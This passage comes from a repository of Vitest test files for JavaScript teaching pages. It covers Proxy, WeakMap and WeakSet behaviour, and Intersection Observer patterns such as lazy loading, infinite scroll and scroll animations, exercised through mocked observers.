false behavior', () => { const proxy = new Proxy({}, { set() { return false } }) expect(() => { proxy.x = 10 }).toThrow(TypeError) }) // Q5: Revocable proxy it('should demonstrate revocable proxy pattern', () => { const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {}) expect(proxy.data).toBe('sensitive') revoke() expect(() => { proxy.data }).toThrow(TypeError) }) }) }) ================================================ FILE: tests/beyond/objects-properties/weakmap-weakset/weakmap-weakset.test.js ================================================ import { describe, it, expect } from 'vitest' describe('WeakMap & WeakSet', () => { // ============================================================ // WEAKMAP BASICS // From weakmap-weakset.mdx lines 95-125 // ============================================================ describe('WeakMap Basics', () => { // From lines 101-119: Basic WeakMap operations it('should set and get values with object keys', () => { const weakMap = new WeakMap() const obj1 = { id: 1 } const obj2 = { id: 2 } weakMap.set(obj1, 'first') weakMap.set(obj2, 'second') expect(weakMap.get(obj1)).toBe('first') expect(weakMap.get(obj2)).toBe('second') }) // From lines 112-116: has() and get() methods it('should check existence with has()', () => { const weakMap = new WeakMap() const obj1 = { id: 1 } weakMap.set(obj1, 'value') expect(weakMap.has(obj1)).toBe(true) expect(weakMap.has({ id: 3 })).toBe(false) // Different object reference }) // From lines 117-119: delete() method it('should delete entries', () => { const weakMap = new WeakMap() const obj1 = { id: 1 } weakMap.set(obj1, 'value') expect(weakMap.has(obj1)).toBe(true) weakMap.delete(obj1) expect(weakMap.has(obj1)).toBe(false) }) // From lines 121-136: Keys must be objects it('should only accept objects as keys', () => { const weakMap = new WeakMap() // These work - objects as keys expect(() => weakMap.set({}, 'empty object')).not.toThrow() expect(() => weakMap.set([], 'array')).not.toThrow() expect(() => weakMap.set(function() {}, 'function')).not.toThrow() expect(() => weakMap.set(new Date(), 'date')).not.toThrow() }) // From lines 131-136: Primitives throw TypeError it('should throw TypeError for primitive keys', () => { const weakMap = new WeakMap() expect(() => weakMap.set('string', 'value')).toThrow(TypeError) expect(() => weakMap.set(123, 'value')).toThrow(TypeError) expect(() => weakMap.set(true, 'value')).toThrow(TypeError) expect(() => weakMap.set(null, 'value')).toThrow(TypeError) expect(() => weakMap.set(undefined, 'value')).toThrow(TypeError) }) // From lines 147-156: Values can be anything it('should accept any value type', () => { const weakMap = new WeakMap() const key = { id: 1 } weakMap.set(key, 'string value') expect(weakMap.get(key)).toBe('string value') weakMap.set(key, 42) expect(weakMap.get(key)).toBe(42) weakMap.set(key, null) expect(weakMap.get(key)).toBe(null) weakMap.set(key, undefined) expect(weakMap.get(key)).toBe(undefined) weakMap.set(key, { nested: 'object' }) expect(weakMap.get(key)).toEqual({ nested: 'object' }) weakMap.set(key, [1, 2, 3]) expect(weakMap.get(key)).toEqual([1, 2, 3]) }) // Test chaining on set() it('should return the WeakMap for chaining', () => { const weakMap = new WeakMap() const obj1 = { a: 1 } const obj2 = { b: 2 } const result = weakMap.set(obj1, 'value1') expect(result).toBe(weakMap) // Chaining weakMap.set(obj1, 'v1').set(obj2, 'v2') expect(weakMap.get(obj1)).toBe('v1') expect(weakMap.get(obj2)).toBe('v2') }) }) // ============================================================ // WEAKMAP USE CASES // From weakmap-weakset.mdx lines 162-270 // ============================================================ describe('WeakMap Use Cases', () => { // From lines 164-207: Private data pattern describe('Private Data Pattern', () => { it('should store private data not accessible directly', () => { const privateData = new WeakMap() class User { constructor(name, password) { this.name = name privateData.set(this, { password, loginAttempts: 0 }) } checkPassword(input) { const data = privateData.get(this) if (data.password === input) { data.loginAttempts = 0 return true } data.loginAttempts++ return false } getLoginAttempts() { return privateData.get(this).loginAttempts } } const user = new User('Alice', 'secret123') // Public data is accessible expect(user.name).toBe('Alice') // Private data is NOT accessible expect(user.password).toBe(undefined) // Methods can use private data expect(user.checkPassword('wrong')).toBe(false) expect(user.checkPassword('secret123')).toBe(true) expect(user.getLoginAttempts()).toBe(0) }) it('should track login attempts', () => { const privateData = new WeakMap() class User { constructor(name, password) { this.name = name privateData.set(this, { password, loginAttempts: 0 }) } checkPassword(input) { const data = privateData.get(this) if (data.password === input) { data.loginAttempts = 0 return true } data.loginAttempts++ return false } getLoginAttempts() { return privateData.get(this).loginAttempts } } const user = new User('Alice', 'secret') user.checkPassword('wrong1') user.checkPassword('wrong2') user.checkPassword('wrong3') expect(user.getLoginAttempts()).toBe(3) user.checkPassword('secret') expect(user.getLoginAttempts()).toBe(0) // Reset on success }) }) // From lines 248-270: Object caching describe('Object Caching', () => { it('should cache computed results', () => { const cache = new WeakMap() let computeCount = 0 function expensiveOperation(obj) { if (cache.has(obj)) { return cache.get(obj) } computeCount++ const result = Object.keys(obj) .map(key => `${key}: ${obj[key]}`) .join(', ') cache.set(obj, result) return result } const user = { name: 'Alice', age: 30 } const result1 = expensiveOperation(user) expect(result1).toBe('name: Alice, age: 30') expect(computeCount).toBe(1) const result2 = expensiveOperation(user) expect(result2).toBe('name: Alice, age: 30') expect(computeCount).toBe(1) // Still 1, cache hit }) }) // From lines 272-298: Object-level memoization describe('Object-Level Memoization', () => { it('should memoize function results per object', () => { function memoizeForObjects(fn) { const cache = new WeakMap() return function(obj) { if (cache.has(obj)) { return cache.get(obj) } const result = fn(obj) cache.set(obj, result) return result } } let callCount = 0 const getFullName = memoizeForObjects(user => { callCount++ return `${user.firstName} ${user.lastName}` }) const person = { firstName: 'John', lastName: 'Doe' } expect(getFullName(person)).toBe('John Doe') expect(callCount).toBe(1) expect(getFullName(person)).toBe('John Doe') expect(callCount).toBe(1) // Cached // Different object - not cached const person2 = { firstName: 'Jane', lastName: 'Smith' } expect(getFullName(person2)).toBe('Jane Smith') expect(callCount).toBe(2) }) }) }) // ============================================================ // WEAKSET BASICS // From weakmap-weakset.mdx lines 304-338 // ============================================================ describe('WeakSet Basics', () => { // From lines 320-333: Basic WeakSet operations it('should add and check objects', () => { const weakSet = new WeakSet() const obj1 = { id: 1 } const obj2 = { id: 2 } weakSet.add(obj1) weakSet.add(obj2) expect(weakSet.has(obj1)).toBe(true) expect(weakSet.has({ id: 1 })).toBe(false) // Different object }) // From lines 333-335: delete() method it('should delete objects', () => { const weakSet = new WeakSet() const obj1 = { id: 1 } weakSet.add(obj1) expect(weakSet.has(obj1)).toBe(true) weakSet.delete(obj1) expect(weakSet.has(obj1)).toBe(false) }) // From lines 326-328: Only objects allowed it('should only accept objects as values', () => { const weakSet = new WeakSet() expect(() => weakSet.add({})).not.toThrow() expect(() => weakSet.add([])).not.toThrow() expect(() => weakSet.add(function() {})).not.toThrow() }) it('should throw TypeError for primitive values', () => { const weakSet = new WeakSet() expect(() => weakSet.add('string')).toThrow(TypeError) expect(() => weakSet.add(123)).toThrow(TypeError) expect(() => weakSet.add(true)).toThrow(TypeError) expect(() => weakSet.add(null)).toThrow(TypeError) expect(() => weakSet.add(undefined)).toThrow(TypeError) }) // Test chaining on add() it('should return the WeakSet for chaining', () => { const weakSet = new WeakSet() const obj1 = { a: 1 } const obj2 = { b: 2 } const result = weakSet.add(obj1) expect(result).toBe(weakSet) // Chaining weakSet.add(obj1).add(obj2) expect(weakSet.has(obj1)).toBe(true) expect(weakSet.has(obj2)).toBe(true) }) }) // ============================================================ // WEAKSET USE CASES // From weakmap-weakset.mdx lines 344-440 // ============================================================ describe('WeakSet Use Cases', () => { // From lines 346-366: Tracking processed objects describe('Tracking Processed Objects', () => { it('should prevent processing the same object twice', () => { const processed = new WeakSet() const processLog = [] function processOnce(obj) { if (processed.has(obj)) { processLog.push('skipped') return null } processed.add(obj) processLog.push('processed') return { ...obj, processed: true } } const user = { name: 'Alice' } processOnce(user) processOnce(user) processOnce(user) expect(processLog).toEqual(['processed', 'skipped', 'skipped']) }) }) // From lines 368-408: Circular reference detection describe('Circular Reference Detection', () => { it('should detect circular references when cloning', () => { function deepClone(obj, seen = new WeakSet()) { if (obj === null || typeof obj !== 'object') { return obj } if (seen.has(obj)) { throw new Error('Circular reference detected!') } seen.add(obj) if (Array.isArray(obj)) { return obj.map(item => deepClone(item, seen)) } const clone = {} for (const key in obj) { if (obj.hasOwnProperty(key)) { clone[key] = deepClone(obj[key], seen) } } return clone } // Test with circular reference const obj = { name: 'Alice' } obj.self = obj expect(() => deepClone(obj)).toThrow('Circular reference detected!') // Normal objects work fine const normal = { a: 1, b: { c: 2 } } expect(deepClone(normal)).toEqual({ a: 1, b: { c: 2 } }) }) }) // From lines 410-440: Marking visited objects (graph traversal) describe('Graph Traversal', () => { it('should traverse graph without infinite loop', () => { function traverseGraph(node, visitor, visited = new WeakSet()) { if (!node || visited.has(node)) { return } visited.add(node) visitor(node) if (node.children) { for (const child of node.children) { traverseGraph(child, visitor, visited) } } } // Graph with cycles const nodeA = { value: 'A', children: [] } const nodeB = { value: 'B', children: [] } const nodeC = { value: 'C', children: [] } nodeA.children = [nodeB, nodeC] nodeB.children = [nodeC, nodeA] // Cycle back to A nodeC.children = [nodeA] // Cycle back to A const visited = [] traverseGraph(nodeA, node => visited.push(node.value)) // Each visited only once despite cycles expect(visited).toEqual(['A', 'B', 'C']) }) }) // From lines 442-460: Brand checking describe('Brand Checking', () => { it('should verify object was created by specific constructor', () => { const validUsers = new WeakSet() class User { constructor(name) { this.name = name validUsers.add(this) } static isValid(obj) { return validUsers.has(obj) } } const realUser = new User('Alice') const fakeUser = { name: 'Bob' } expect(User.isValid(realUser)).toBe(true) expect(User.isValid(fakeUser)).toBe(false) }) }) }) // ============================================================ // NO ITERATION // From weakmap-weakset.mdx lines 488-510 // ============================================================ describe('No Iteration', () => { it('should not have size property on WeakMap', () => { const weakMap = new WeakMap() weakMap.set({}, 'value') expect(weakMap.size).toBe(undefined) }) it('should not have size property on WeakSet', () => { const weakSet = new WeakSet() weakSet.add({}) expect(weakSet.size).toBe(undefined) }) it('should not have iteration methods on WeakMap', () => { const weakMap = new WeakMap() expect(weakMap.keys).toBe(undefined) expect(weakMap.values).toBe(undefined) expect(weakMap.entries).toBe(undefined) expect(weakMap.forEach).toBe(undefined) }) it('should not have iteration methods on WeakSet', () => { const weakSet = new WeakSet() expect(weakSet.keys).toBe(undefined) expect(weakSet.values).toBe(undefined) expect(weakSet.forEach).toBe(undefined) }) it('should not be iterable with for...of', () => { const weakMap = new WeakMap() weakMap.set({}, 'value') expect(() => { for (const entry of weakMap) { // Should not reach here } }).toThrow(TypeError) }) }) // ============================================================ // SYMBOL KEYS (ES2023+) // From weakmap-weakset.mdx lines 536-558 // ============================================================ describe('Symbol Keys (ES2023+)', () => { it('should accept non-registered symbols as WeakMap keys', () => { const weakMap = new WeakMap() const mySymbol = Symbol('myKey') weakMap.set(mySymbol, 'value') expect(weakMap.get(mySymbol)).toBe('value') expect(weakMap.has(mySymbol)).toBe(true) }) it('should reject registered symbols (Symbol.for) as WeakMap keys', () => { const weakMap = new WeakMap() const registeredSymbol = Symbol.for('registered') expect(() => { weakMap.set(registeredSymbol, 'value') }).toThrow(TypeError) }) it('should accept non-registered symbols in WeakSet', () => { const weakSet = new WeakSet() const mySymbol = Symbol('myKey') weakSet.add(mySymbol) expect(weakSet.has(mySymbol)).toBe(true) }) it('should reject registered symbols in WeakSet', () => { const weakSet = new WeakSet() const registeredSymbol = Symbol.for('registered') expect(() => { weakSet.add(registeredSymbol) }).toThrow(TypeError) }) }) // ============================================================ // COMMON MISTAKES // From weakmap-weakset.mdx lines 572-614 // ============================================================ describe('Common Mistakes', () => { // From lines 582-590: Using primitives as keys describe('Using Primitives as Keys', () => { it('should throw for all primitive types', () => { const weakMap = new WeakMap() expect(() => weakMap.set('key', 'value')).toThrow(TypeError) expect(() => weakMap.set(123, 'value')).toThrow(TypeError) expect(() => weakMap.set(Symbol.for('key'), 'value')).toThrow(TypeError) }) it('should work with objects and non-registered symbols', () => { const weakMap = new WeakMap() expect(() => weakMap.set({ key: true }, 'value')).not.toThrow() expect(() => weakMap.set(Symbol('key'), 'value')).not.toThrow() }) }) // Test undefined return for non-existent keys it('should return undefined for non-existent keys', () => { const weakMap = new WeakMap() const obj = { id: 1 } expect(weakMap.get(obj)).toBe(undefined) expect(weakMap.has(obj)).toBe(false) }) // Test delete returns correct boolean it('should return correct boolean from delete', () => { const weakMap = new WeakMap() const obj = { id: 1 } // Delete non-existent expect(weakMap.delete(obj)).toBe(false) // Delete existing weakMap.set(obj, 'value') expect(weakMap.delete(obj)).toBe(true) // Delete again (now non-existent) expect(weakMap.delete(obj)).toBe(false) }) }) // ============================================================ // MAP VS WEAKMAP COMPARISON // From weakmap-weakset.mdx lines 466-486 // ============================================================ describe('Map vs WeakMap Comparison', () => { it('Map should have size property, WeakMap should not', () => { const map = new Map() const weakMap = new WeakMap() const obj = {} map.set(obj, 'value') weakMap.set(obj, 'value') expect(map.size).toBe(1) expect(weakMap.size).toBe(undefined) }) it('Map should accept primitives, WeakMap should not', () => { const map = new Map() const weakMap = new WeakMap() expect(() => map.set('string', 'value')).not.toThrow() expect(() => weakMap.set('string', 'value')).toThrow(TypeError) }) it('Map should be iterable, WeakMap should not', () => { const map = new Map() const weakMap = new WeakMap() const obj = { id: 1 } map.set(obj, 'value') weakMap.set(obj, 'value') // Map is iterable const entries = [] for (const [k, v] of map) { entries.push([k, v]) } expect(entries.length).toBe(1) // WeakMap is not iterable expect(() => { for (const entry of weakMap) {} }).toThrow(TypeError) }) }) // ============================================================ // SET VS WEAKSET COMPARISON // ============================================================ describe('Set vs WeakSet Comparison', () => { it('Set should have size property, WeakSet should not', () => { const set = new Set() const weakSet = new WeakSet() const obj = {} set.add(obj) weakSet.add(obj) expect(set.size).toBe(1) expect(weakSet.size).toBe(undefined) }) it('Set should accept primitives, WeakSet should not', () => { const set = new Set() const weakSet = new WeakSet() expect(() => set.add('string')).not.toThrow() expect(() => weakSet.add('string')).toThrow(TypeError) }) it('Set should be iterable, WeakSet should not', () => { const set = new Set() const weakSet = new WeakSet() const obj = { id: 1 } set.add(obj) weakSet.add(obj) // Set is iterable const values = [] for (const v of set) { values.push(v) } expect(values.length).toBe(1) // WeakSet is not iterable expect(() => { for (const v of weakSet) {} }).toThrow(TypeError) }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { it('should allow same object as key in multiple WeakMaps', () => { const weakMap1 = new WeakMap() const weakMap2 = new WeakMap() const obj = { shared: true } weakMap1.set(obj, 'value1') weakMap2.set(obj, 'value2') expect(weakMap1.get(obj)).toBe('value1') expect(weakMap2.get(obj)).toBe('value2') }) it('should allow same object in multiple WeakSets', () => { const weakSet1 = new WeakSet() const weakSet2 = new WeakSet() const obj = { shared: true } weakSet1.add(obj) weakSet2.add(obj) expect(weakSet1.has(obj)).toBe(true) expect(weakSet2.has(obj)).toBe(true) }) it('should distinguish similar-looking but different objects', () => { const weakMap = new WeakMap() const obj1 = { x: 1 } const obj2 = { x: 1 } weakMap.set(obj1, 'first') weakMap.set(obj2, 'second') expect(weakMap.get(obj1)).toBe('first') expect(weakMap.get(obj2)).toBe('second') }) it('should handle WeakMap with function keys', () => { const weakMap = new WeakMap() const fn1 = function() { return 1 } const fn2 = function() { return 1 } weakMap.set(fn1, 'function1') weakMap.set(fn2, 'function2') expect(weakMap.get(fn1)).toBe('function1') expect(weakMap.get(fn2)).toBe('function2') }) it('should handle WeakMap with array keys', () => { const weakMap = new WeakMap() const arr1 = [1, 2, 3] const arr2 = [1, 2, 3] weakMap.set(arr1, 'array1') weakMap.set(arr2, 'array2') expect(weakMap.get(arr1)).toBe('array1') expect(weakMap.get(arr2)).toBe('array2') }) it('should handle updating existing keys', () => { const weakMap = new WeakMap() const obj = { id: 1 } weakMap.set(obj, 'initial') expect(weakMap.get(obj)).toBe('initial') weakMap.set(obj, 'updated') expect(weakMap.get(obj)).toBe('updated') }) it('should handle adding same object to WeakSet multiple times', () => { const weakSet = new WeakSet() const obj = { id: 1 } weakSet.add(obj) weakSet.add(obj) weakSet.add(obj) // Still only one instance expect(weakSet.has(obj)).toBe(true) weakSet.delete(obj) expect(weakSet.has(obj)).toBe(false) }) }) }) ================================================ FILE: tests/beyond/observer-apis/intersection-observer/intersection-observer.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' /** * DOM-specific tests for Intersection Observer concept page * Source: /docs/beyond/concepts/intersection-observer.mdx * * These tests use jsdom with a mocked IntersectionObserver */ class MockIntersectionObserver { constructor(callback, options = {}) { this.callback = callback this.options = options this.observedElements = [] MockIntersectionObserver.instances.push(this) } observe(element) { this.observedElements.push(element) this.callback([{ target: element, isIntersecting: false, intersectionRatio: 0, boundingClientRect: element.getBoundingClientRect(), intersectionRect: { top: 0, left: 0, width: 0, height: 0 }, rootBounds: null, time: performance.now() }], this) } unobserve(element) { const index = this.observedElements.indexOf(element) if (index > -1) { this.observedElements.splice(index, 1) } } disconnect() { this.observedElements = [] } takeRecords() { return [] } triggerIntersection(entries) { this.callback(entries, this) } static instances = [] static clearInstances() { this.instances = [] } } describe('Intersection Observer (DOM)', () => { let originalIntersectionObserver beforeEach(() => { originalIntersectionObserver = global.IntersectionObserver global.IntersectionObserver = MockIntersectionObserver MockIntersectionObserver.clearInstances() document.body.innerHTML = '' }) afterEach(() => { global.IntersectionObserver = originalIntersectionObserver document.body.innerHTML = '' }) describe('Basic Observer Creation', () => { it('should create observer with callback and options', () => { const callback = vi.fn() const options = { root: null, rootMargin: '100px', threshold: 0.5 } const observer = new IntersectionObserver(callback, options) expect(observer.options.rootMargin).toBe('100px') expect(observer.options.threshold).toBe(0.5) }) it('should observe multiple elements with single observer', () => { const callback = vi.fn() const observer = new IntersectionObserver(callback) const el1 = document.createElement('div') const el2 = document.createElement('div') const el3 = document.createElement('div') observer.observe(el1) observer.observe(el2) observer.observe(el3) expect(observer.observedElements.length).toBe(3) }) }) describe('Lazy Loading Implementation', () => { it('should implement lazy loading pattern from MDX', () => { const img = document.createElement('img') img.dataset.src = 'real-image.jpg' img.classList.add('lazy') document.body.appendChild(img) const loadedImages = [] const observer = new IntersectionObserver((entries, obs) => { entries.forEach(entry => { if (entry.isIntersecting) { const imgEl = entry.target imgEl.src = imgEl.dataset.src imgEl.classList.remove('lazy') imgEl.classList.add('loaded') loadedImages.push(imgEl) obs.unobserve(imgEl) } }) }, { rootMargin: '100px 0px', threshold: 0 }) observer.observe(img) observer.triggerIntersection([{ target: img, isIntersecting: true, intersectionRatio: 0.5 }]) expect(img.src).toContain('real-image.jpg') expect(img.classList.contains('loaded')).toBe(true) expect(img.classList.contains('lazy')).toBe(false) expect(loadedImages.length).toBe(1) expect(observer.observedElements.length).toBe(0) }) }) describe('Scroll Animation Implementation', () => { it('should add animated class when element intersects', () => { const element = document.createElement('div') element.classList.add('animate-on-scroll') document.body.appendChild(element) const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add('animated') } }) }, { threshold: 0.2 }) observer.observe(element) expect(element.classList.contains('animated')).toBe(false) observer.triggerIntersection([{ target: element, isIntersecting: true, intersectionRatio: 0.5 }]) expect(element.classList.contains('animated')).toBe(true) }) it('should toggle animation class when animateOnce is false', () => { const element = document.createElement('div') document.body.appendChild(element) const animateOnce = false const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add('animated') } else if (!animateOnce) { entry.target.classList.remove('animated') } }) }) observer.observe(element) observer.triggerIntersection([{ target: element, isIntersecting: true }]) expect(element.classList.contains('animated')).toBe(true) observer.triggerIntersection([{ target: element, isIntersecting: false }]) expect(element.classList.contains('animated')).toBe(false) }) }) describe('Infinite Scroll Implementation', () => { it('should detect sentinel element for infinite scroll', () => { const content = document.createElement('div') content.id = 'content' const sentinel = document.createElement('div') sentinel.id = 'sentinel' document.body.appendChild(content) document.body.appendChild(sentinel) let loadMoreCalled = false const observer = new IntersectionObserver((entries) => { const entry = entries[0] if (entry.isIntersecting) { loadMoreCalled = true } }, { rootMargin: '200px' }) observer.observe(sentinel) observer.triggerIntersection([{ target: sentinel, isIntersecting: true, intersectionRatio: 1 }]) expect(loadMoreCalled).toBe(true) }) }) describe('Observer Cleanup', () => { it('should unobserve element after handling', () => { const element = document.createElement('div') document.body.appendChild(element) const observer = new IntersectionObserver((entries, obs) => { entries.forEach(entry => { if (entry.isIntersecting) { obs.unobserve(entry.target) } }) }) observer.observe(element) expect(observer.observedElements.length).toBe(1) observer.triggerIntersection([{ target: element, isIntersecting: true }]) expect(observer.observedElements.length).toBe(0) }) it('should disconnect all observations', () => { const el1 = document.createElement('div') const el2 = document.createElement('div') document.body.appendChild(el1) document.body.appendChild(el2) const observer = new IntersectionObserver(vi.fn()) observer.observe(el1) observer.observe(el2) expect(observer.observedElements.length).toBe(2) observer.disconnect() expect(observer.observedElements.length).toBe(0) }) }) describe('Callback Behavior', () => { it('should fire callback immediately when observe() is called', () => { const element = document.createElement('div') document.body.appendChild(element) const callback = vi.fn() const observer = new IntersectionObserver(callback) observer.observe(element) expect(callback).toHaveBeenCalledTimes(1) }) it('should provide observer reference in callback', () => { const element = document.createElement('div') document.body.appendChild(element) let receivedObserver = null const observer = new IntersectionObserver((entries, obs) => { receivedObserver = obs }) observer.observe(element) expect(receivedObserver).toBe(observer) }) it('should provide entry with correct target', () => { const element = document.createElement('div') element.id = 'test-target' document.body.appendChild(element) let receivedTarget = null const observer = new IntersectionObserver((entries) => { receivedTarget = entries[0].target }) observer.observe(element) expect(receivedTarget).toBe(element) expect(receivedTarget.id).toBe('test-target') }) }) describe('Section Navigation Pattern', () => { it('should highlight active nav link based on visible section', () => { const nav = document.createElement('nav') nav.innerHTML = ` <a href="#section1">Section 1</a> <a href="#section2">Section 2</a> <a href="#section3">Section 3</a> ` document.body.appendChild(nav) const section1 = document.createElement('section') section1.id = 'section1' const section2 = document.createElement('section') section2.id = 'section2' document.body.appendChild(section1) document.body.appendChild(section2) const navLinks = nav.querySelectorAll('a') const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { navLinks.forEach(link => link.classList.remove('active')) const activeLink = nav.querySelector(`a[href="#${entry.target.id}"]`) if (activeLink) { activeLink.classList.add('active') } } }) }, { threshold: 0.5 }) observer.observe(section1) observer.observe(section2) observer.triggerIntersection([{ target: section2, isIntersecting: true, intersectionRatio: 0.6 }]) const activeLink = nav.querySelector('a.active') expect(activeLink.getAttribute('href')).toBe('#section2') }) }) describe('Feature Detection', () => { it('should detect IntersectionObserver support', () => { expect('IntersectionObserver' in window).toBe(true) }) it('should handle missing IntersectionObserver gracefully', () => { const originalIO = global.IntersectionObserver delete global.IntersectionObserver const hasSupport = 'IntersectionObserver' in global expect(hasSupport).toBe(false) global.IntersectionObserver = originalIO }) }) }) ================================================ FILE: tests/beyond/observer-apis/intersection-observer/intersection-observer.test.js ================================================ /** * Tests for Intersection Observer concept page * Source: /docs/beyond/concepts/intersection-observer.mdx * * Note: Intersection Observer is a browser API that cannot be fully tested * without a real browser environment. These tests verify the concepts and * patterns described in the documentation using mocks and simulated behavior. */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Intersection Observer Concepts', () => { describe('IntersectionObserverEntry Properties', () => { // MDX lines ~105-130: IntersectionObserverEntry Properties table it('should understand entry property types', () => { // Simulating the shape of IntersectionObserverEntry const mockEntry = { target: { id: 'test-element' }, // Element being observed isIntersecting: true, // boolean intersectionRatio: 0.5, // number (0.0 to 1.0) boundingClientRect: { top: 100, left: 0, width: 200, height: 100 }, intersectionRect: { top: 100, left: 0, width: 200, height: 50 }, rootBounds: { top: 0, left: 0, width: 800, height: 600 }, time: 1234567890.123 // DOMHighResTimeStamp } expect(typeof mockEntry.target).toBe('object') expect(typeof mockEntry.isIntersecting).toBe('boolean') expect(typeof mockEntry.intersectionRatio).toBe('number') expect(mockEntry.intersectionRatio).toBeGreaterThanOrEqual(0) expect(mockEntry.intersectionRatio).toBeLessThanOrEqual(1) expect(typeof mockEntry.time).toBe('number') }) // MDX lines ~125-135: intersectionRatio calculation it('should calculate visibility percentage from intersectionRatio', () => { const intersectionRatio = 0.75 const visibilityPercent = Math.round(intersectionRatio * 100) + '%' expect(visibilityPercent).toBe('75%') }) }) describe('Observer Options Validation', () => { // MDX lines ~140-165: The root Option it('should understand root option defaults', () => { const defaultOptions = { root: null, // viewport by default rootMargin: '0px', // no margin by default threshold: 0 // any pixel visible by default } expect(defaultOptions.root).toBeNull() expect(defaultOptions.rootMargin).toBe('0px') expect(defaultOptions.threshold).toBe(0) }) // MDX lines ~180-215: The rootMargin Option it('should understand rootMargin string format', () => { // rootMargin follows CSS margin format const validMargins = [ '100px', // All sides '100px 0px', // top/bottom, left/right '100px 0px 100px 0px', // top, right, bottom, left '-50px', // Negative margins shrink '0px 0px -50%', // Percentages work '200px 0px 200px 0px' // Large buffer for preloading ] validMargins.forEach(margin => { expect(typeof margin).toBe('string') }) }) // MDX lines ~220-260: The threshold Option it('should accept single threshold values', () => { const singleThresholds = [0, 0.5, 1.0] singleThresholds.forEach(threshold => { expect(threshold).toBeGreaterThanOrEqual(0) expect(threshold).toBeLessThanOrEqual(1) }) }) it('should accept array of threshold values', () => { const thresholdArray = [0, 0.25, 0.5, 0.75, 1.0] expect(Array.isArray(thresholdArray)).toBe(true) thresholdArray.forEach(threshold => { expect(threshold).toBeGreaterThanOrEqual(0) expect(threshold).toBeLessThanOrEqual(1) }) }) }) describe('Lazy Loading Pattern Logic', () => { // MDX lines ~315-365: Implementing Lazy Loading Images it('should swap data-src to src pattern', () => { const mockImage = { src: 'placeholder.svg', dataset: { src: 'real-image.jpg', srcset: 'image-1x.jpg 1x, image-2x.jpg 2x' }, classList: { removed: [], added: [], remove(cls) { this.removed.push(cls) }, add(cls) { this.added.push(cls) } } } // Simulate lazy loading logic function lazyLoadImage(img) { img.src = img.dataset.src if (img.dataset.srcset) { img.srcset = img.dataset.srcset } img.classList.remove('lazy') img.classList.add('loaded') } lazyLoadImage(mockImage) expect(mockImage.src).toBe('real-image.jpg') expect(mockImage.srcset).toBe('image-1x.jpg 1x, image-2x.jpg 2x') expect(mockImage.classList.removed).toContain('lazy') expect(mockImage.classList.added).toContain('loaded') }) }) describe('Infinite Scroll Pattern Logic', () => { // MDX lines ~385-440: Building Infinite Scroll it('should track loading state to prevent duplicate requests', async () => { let isLoading = false let page = 1 const fetchCalls = [] async function loadMoreContent() { if (isLoading) return // Prevent duplicate calls isLoading = true fetchCalls.push(page) page++ // Simulate async fetch await new Promise(resolve => setTimeout(resolve, 10)) isLoading = false } // Simulate rapid scroll events (should only trigger one load) await Promise.all([ loadMoreContent(), loadMoreContent(), loadMoreContent() ]) // Only one fetch should have happened due to isLoading guard expect(fetchCalls.length).toBe(1) expect(page).toBe(2) }) it('should stop observing when no more content', () => { let observing = true const posts = [] // Empty array = no more content function handleIntersection() { if (posts.length === 0) { observing = false // Stop observing return } } handleIntersection() expect(observing).toBe(false) }) }) describe('Scroll Animation Pattern Logic', () => { // MDX lines ~455-500: Scroll-Triggered Animations it('should create reusable animation observer factory', () => { function createScrollAnimator(options = {}) { const { threshold = 0.2, rootMargin = '0px', animateOnce = true, animatedClass = 'animated' } = options return { threshold, rootMargin, animateOnce, animatedClass } } const defaultAnimator = createScrollAnimator() expect(defaultAnimator.threshold).toBe(0.2) expect(defaultAnimator.rootMargin).toBe('0px') expect(defaultAnimator.animateOnce).toBe(true) expect(defaultAnimator.animatedClass).toBe('animated') const customAnimator = createScrollAnimator({ threshold: 0.5, animateOnce: false }) expect(customAnimator.threshold).toBe(0.5) expect(customAnimator.animateOnce).toBe(false) }) }) describe('Cleanup Patterns', () => { // MDX lines ~605-650: The #1 Intersection Observer Mistake it('should demonstrate cleanup function pattern', () => { let disconnected = false function setupObserver() { const mockObserver = { observe: vi.fn(), unobserve: vi.fn(), disconnect: () => { disconnected = true } } // Return cleanup function return () => mockObserver.disconnect() } const cleanup = setupObserver() expect(disconnected).toBe(false) cleanup() // Simulate component unmount expect(disconnected).toBe(true) }) it('should unobserve after lazy loading', () => { const unobservedElements = [] const mockObserver = { unobserve: (element) => unobservedElements.push(element) } // Simulate lazy load callback function handleIntersection(entry, observer) { if (entry.isIntersecting) { // Load image... observer.unobserve(entry.target) } } const mockEntry = { isIntersecting: true, target: { id: 'img1' } } handleIntersection(mockEntry, mockObserver) expect(unobservedElements).toContainEqual({ id: 'img1' }) }) }) describe('Visibility Detection Logic', () => { // MDX lines ~30-60: isIntersecting vs intersectionRatio it('should use isIntersecting for simple visibility checks', () => { const entries = [ { isIntersecting: true, intersectionRatio: 0.5 }, { isIntersecting: false, intersectionRatio: 0 }, { isIntersecting: true, intersectionRatio: 1.0 } ] const visibleEntries = entries.filter(e => e.isIntersecting) expect(visibleEntries.length).toBe(2) }) it('should use intersectionRatio for progressive visibility tracking', () => { const entry = { intersectionRatio: 0.75 } // Ad viewability: count impression when 50%+ visible const isViewable = entry.intersectionRatio >= 0.5 expect(isViewable).toBe(true) // Progress tracking const percentVisible = Math.round(entry.intersectionRatio * 100) expect(percentVisible).toBe(75) }) }) describe('Threshold Behavior', () => { // MDX lines ~220-260: threshold option behavior it('should understand threshold 0 triggers on any visibility', () => { // threshold: 0 means callback fires when target touches root boundary const callback = vi.fn() // Simulate entries at threshold 0 const entryJustVisible = { intersectionRatio: 0.01, isIntersecting: true } // Even 1% visible should trigger with threshold: 0 if (entryJustVisible.isIntersecting) { callback(entryJustVisible) } expect(callback).toHaveBeenCalled() }) it('should understand threshold 1.0 requires full visibility', () => { // threshold: 1.0 means callback fires only when 100% visible const threshold = 1.0 const partiallyVisible = { intersectionRatio: 0.9 } const fullyVisible = { intersectionRatio: 1.0 } expect(partiallyVisible.intersectionRatio >= threshold).toBe(false) expect(fullyVisible.intersectionRatio >= threshold).toBe(true) }) it('should warn about threshold 1.0 with tall elements', () => { // If element is taller than viewport, it can never be 100% visible const elementHeight = 